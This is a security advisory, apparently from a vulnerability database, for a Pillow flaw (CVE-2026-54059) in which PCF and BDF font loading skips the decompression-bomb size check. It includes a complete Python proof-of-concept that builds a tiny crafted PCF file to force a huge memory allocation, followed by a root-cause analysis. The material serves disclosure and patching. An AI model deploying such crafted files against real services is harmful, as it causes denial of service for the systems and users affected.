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CVE-2026-54059

CVE-2026-54059: Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

for i in range(nbitmaps):
    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
    b, e = offsets[i : i + 2]
    bitmaps.append(
        Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
        # ↑ NO _decompression_bomb_check()!
    )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Miggo Vulnerability Database

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CVE-2026-54059

CVE-2026-54059:

7.5

CVSS Score

3.1

-

CVSS Score

Basic Information

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Technical Details

SSVC / BOD 26-04 ↗

Exploitation pocAutomatable YesTech Impact Partial

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Package Name	Ecosystem	Vulnerable Versions	First Patched Version
pillow	pip	< 12.3.0	12.3.0

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability is a decompression bomb issue within the Pillow library's font file handling. The core of the problem lies in the lack of validation of image dimensions read from font files before memory is allocated for the bitmap image. The analysis of the provided patch commit 0a263e6264aa5399988d9acd3bbfbca2ca3ec77d reveals that multiple font file parsers were affected by this vulnerability. The patch introduces calls to Image._decompression_bomb_check() in PcfFontFile.py, BdfFontFile.py, and FontFile.py to validate the image dimensions and prevent excessive memory allocation. The primary vulnerable function, as detailed in the vulnerability description, is PcfFontFile._load_bitmaps, which uses unvalidated metrics to create an image. The same pattern of vulnerability and fix is observed in BdfFontFile._load_char and FontFile.compile, which also handle image creation based on font file data.

Vulnerable functions

PcfFontFile._load_bitmaps

src/PIL/PcfFontFile.py

The `_load_bitmaps` function in `PcfFontFile.py` is vulnerable to a decompression bomb attack. It processes PCF font files and uses dimensions (`xsize`, `ysize`) from the file to create a bitmap image using `Image.frombytes()`. The vulnerability lies in the fact that these dimensions are not validated before being passed to `Image.frombytes()`. An attacker can provide a specially crafted PCF file with extremely large dimensions, causing the application to attempt to allocate a massive amount of memory, leading to a denial of service.

BdfFontFile._load_char

src/PIL/BdfFontFile.py

The `_load_char` function in `BdfFontFile.py` is vulnerable to a similar decompression bomb attack. It calls the `bdf_char` function to parse character properties from a BDF font file, including width and height. These dimensions were used without validation, creating a vulnerability. The patch mitigates this by adding a size check in `bdf_char` before the dimensions are used.

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CVE-2026-54059: Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

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CVE-2026-54059: Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

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CVE-2026-54059: Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

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CVE-2026-54059: Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

Description

Steps to reproduce

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